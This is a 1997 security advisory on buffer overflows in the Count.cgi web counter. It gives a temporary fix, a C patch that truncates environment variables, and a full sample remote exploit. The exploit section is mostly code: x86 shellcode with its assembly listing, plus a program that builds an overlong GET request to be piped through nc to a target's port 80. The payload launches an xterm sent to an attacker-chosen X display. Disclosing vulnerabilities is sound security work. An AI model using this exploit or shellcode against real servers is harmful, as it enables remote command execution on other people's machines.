plaguez security advisory n.11 Count.cgi (wwwcount) remote exploit Program: Count.cgi (wwwcount), a popular CGI web counter Version: Tested on 2.3, others probably affected as well (?) OS: All Impact: a buffer can be overflowed in the Count.cgi program, allowing remote http users to execute arbitrary commands on the target machine. Hi, there are at least two buffer overflow vulnerabilities in wwwcount, a widely used CGI web counter. The most harmful occurs when the QUERY_STRING environment variable (which reflects the url asked by the www client) is copied to a fixed-size dynamic buffer. Another one occures only when the counter is compiled with a special authentication option, and may not be exploitable. Fix: ---- As they are exploitable remotely, these holes are extremely serious and should be addressed as soon as possible. A temporary fix, if the sources are not available, is to remove the exec permissions (chmod -x) of the Count.cgi executable (located in your httpd's cgi-bin/ directory). The actual fix is pretty simple. Apply the following patch to the file main.c. Environment variables will be cutted down to their first 600 chars. The idea of this patch can also be adapted for other purposes, mainly to develop a generic cgi-bin wraper. 58a59,72 > void wrapit(char *envvar,int esize) > { > char *tmp,*tmp2; > tmp=malloc(esize+1); > if(tmp==NULL) > { > Debug2("Can't allocate wrapper memory buffer.",0,0); > exit(1); > } > strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1); > tmp[esize]='\0'; > setenv(envvar,tmp,1); > } > 89c103 < char --- > char 185a200,207 > /* > * avoid any buffer overflow problem by cutting some env variables > */ > > wrapit("QUERY_STRING",600); > wrapit("HTTP_REFERER",600); > wrapit("HTTP_USER_AGENT",600); > Exploit: -------- here is a _sample_ exploit, designed to be used on localhost. Needs work to be really usefull, remote stack prediction is still a big problem. ------------cutcut-------8<----------------------------------------------- /* Count.cgi (wwwcount) linux remote exploit (c) 05/1997 by plaguez - dube0866@eurobretagne.fr Contact me if you manage to improve this crap. usage: ./a.out +/-ofs | nc targethost 80 DISCLAIMER: USE THIS PROGRAM AT YOUR OWN RISKS. THERE IS NO WARRANTY OF ANY KIND ABOUT THE USE OR MISUSE OF THIS PROGRAM, WHICH HAS ONLY BE RELEASED FOR EDUCATIONAL PURPOSE. ONLY EXPERIMENTED USERS ARE ALLOWED TO USE IT, AND ON THEIR _OWN_ SYSTEM ONLY. This program needs drastic changes to be useable. If you can't understand how to modify it for your own purpose, please do not consider trying it. */ #include #include char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d" "\x5e\x18\x88\x46\x2c\x88\x46\x30" "\x88\x46\x39\x88\x46\x4b\x8d\x56" "\x20\x89\x16\x8d\x56\x2d\x89\x56" "\x04\x8d\x56\x31\x89\x56\x08\x8d" "\x56\x3a\x89\x56\x0c\x8d\x56\x10" "\x89\x46\x10\xb0\x0b\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xbf" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff" "/usr/X11R6/bin/xterm0-ut0-display0" "127.000.000.001:00" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff"; /* Assembly stuff for the previous buffer. This basically implements an execve syscall, by creating an array of char* (needs to put a null byte at the end of all strings). Here we gonna exec an xterm and send it to our host. (you can't simply exec a shell due to the cgi proto). jmp 60 popl %esi xorl %eax,%eax # efface eax movl %esi,%ecx # recupere l'adresse du buffer leal 0x18(%esi),%ebx # recupere l'adresse des chaines movb %al,0x2c(%esi) # cree les chaines azt movb %al,0x30(%esi) # movb %al,0x39(%esi) movb %al,0x4b(%esi) leal 0x20(%esi),%edx # cree le char** movl %edx,(%esi) leal 0x2d(%esi),%edx movl %edx,0x4(%esi) leal 0x31(%esi),%edx movl %edx,0x8(%esi) leal 0x3a(%esi),%edx movl %edx,0xc(%esi) leal 0x10(%esi),%edx movl %eax,0x10(%esi) movb $0xb,%al int $0x80 # passe en mode kernel xorl %ebx,%ebx # termine proprement (exit()) movl %ebx,%eax # si jamais le execve() foire. inc %eax # int $0x80 # call -65 # retourne au popl en empilant l'adresse de la chaine .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .ascii \"/usr/X11R6/bin/xterm0\" # 44 .ascii \"-ut0\" # 48 .ascii \"-display0\" # 57 au ; .ascii \"127.000.000.001:00\" # 75 (total des chaines) .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff ... */ char qs[7000]; char chaine[]="user=a"; unsigned long getesp() { // asm("movl %esp,%eax"); return 0xbfffee38; } void main(int argc, char **argv) { int compt; long stack; stack=getesp(); if(argc>1) stack+=atoi(argv[1]); for(compt=0;compt<4104;compt+=4) { qs[compt+0] = stack & 0x000000ff; qs[compt+1] = (stack & 0x0000ff00) >> 8; qs[compt+2] = (stack & 0x00ff0000) >> 16; qs[compt+3] = (stack & 0xff000000) >> 24; } strcpy(qs,chaine); qs[strlen(chaine)]=0x90; qs[4104]= stack&0x000000ff; qs[4105]=(stack&0x0000ff00)>>8; qs[4106]=(stack&0x00ff0000)>>16; qs[4107]=(stack&0xff000000)>>24; qs[4108]= stack&0x000000ff; qs[4109]=(stack&0x0000ff00)>>8; qs[4110]=(stack&0x00ff0000)>>16; qs[4111]=(stack&0xff000000)>>24; qs[4112]= stack&0x000000ff; qs[4113]=(stack&0x0000ff00)>>8; qs[4114]=(stack&0x00ff0000)>>16; qs[4115]=(stack&0xff000000)>>24; qs[4116]= stack&0x000000ff; qs[4117]=(stack&0x0000ff00)>>8; qs[4118]=(stack&0x00ff0000)>>16; qs[4119]=(stack&0xff000000)>>24; qs[4120]= stack&0x000000ff; qs[4121]=(stack&0x0000ff00)>>8; qs[4122]=(stack&0x00ff0000)>>16; qs[4123]=(stack&0xff000000)>>24; qs[4124]= stack&0x000000ff; qs[4125]=(stack&0x0000ff00)>>8; qs[4126]=(stack&0x00ff0000)>>16; qs[4127]=(stack&0xff000000)>>24; qs[4128]= stack&0x000000ff; qs[4129]=(stack&0x0000ff00)>>8; qs[4130]=(stack&0x00ff0000)>>16; qs[4131]=(stack&0xff000000)>>24; strcpy((char*)&qs[4132],shell); /* Choose what to do here */ printf("GET /cgi-bin/Count.cgi?%s\n\n",qs); //fprintf(stderr,"\n\nadresse: %x0x\n",stack); //printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack); //setenv("QUERY_STRING",qs,1); //system("/usr/local/etc/httpd/cgi-bin/Count.cgi"); //system("/bin/sh"); } -------------------------------------8<------------------------- later, Nicolas Dubee dube0866@eurobretagne.fr ------------------------------------------------ * plaguez security research - Unix programming * * system administration http://www.innu.org * * dube0866@eurobretagne.fr * ------------------------------------------------ " Anonymity is bad," said a source who wished to remain anonymous. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQCNAy0lDocAAAEEALloMBMKqHWANfzsfzzbunRJecIIomrEIl8rn1wT16qO/XsV Lhgp3xkHozjUabfsnYjKorhooo+qlz42L3Hg7b7KpH06MjLqcFvhQGzyDShpmtS4 3BrYsD2iH7NqVIssvIU16a4xshNy6KaH4E4lnlwUuptdvH9adqiUadUX8KJtAAUR tAdwbGFndWV6iQCVAwUQM+iW8qiUadUX8KJtAQFNfwP/Uiv1fgMw+iypedajCCUr sEnlKd55p+q8PBSyVMlU32ftnLokdBHWW5xmBFnwBUfCI38yYjyOzVNvB2By5bhY V+L5hZqYeWZFpJOUInnw1n0zfFBhpV7j6fmuebRbsvQGehFEW5JiuouBRpF7axqF KWRrkxao9WKmCkCqCEswqHS0B1BMYUd1RVqJAJUDBRAtJQ6HqJRp1Rfwom0BAU9w A/4vXIKlzShht/NabURue9bv+QhXOFufUyrOCDR5VhF6+7F2FANYR7GnZWl34LaM NJawz+esu+/h75qlXnPxRtifJ9qha637LvIIvScH5gY0I/Pv/mzWRS+eFAdAy7H6 87/kXvCUDfVrwILI84xl7KraVf4cECoL1GjU8jizuaOdSQ== =wtaL -----END PGP PUBLIC KEY BLOCK-----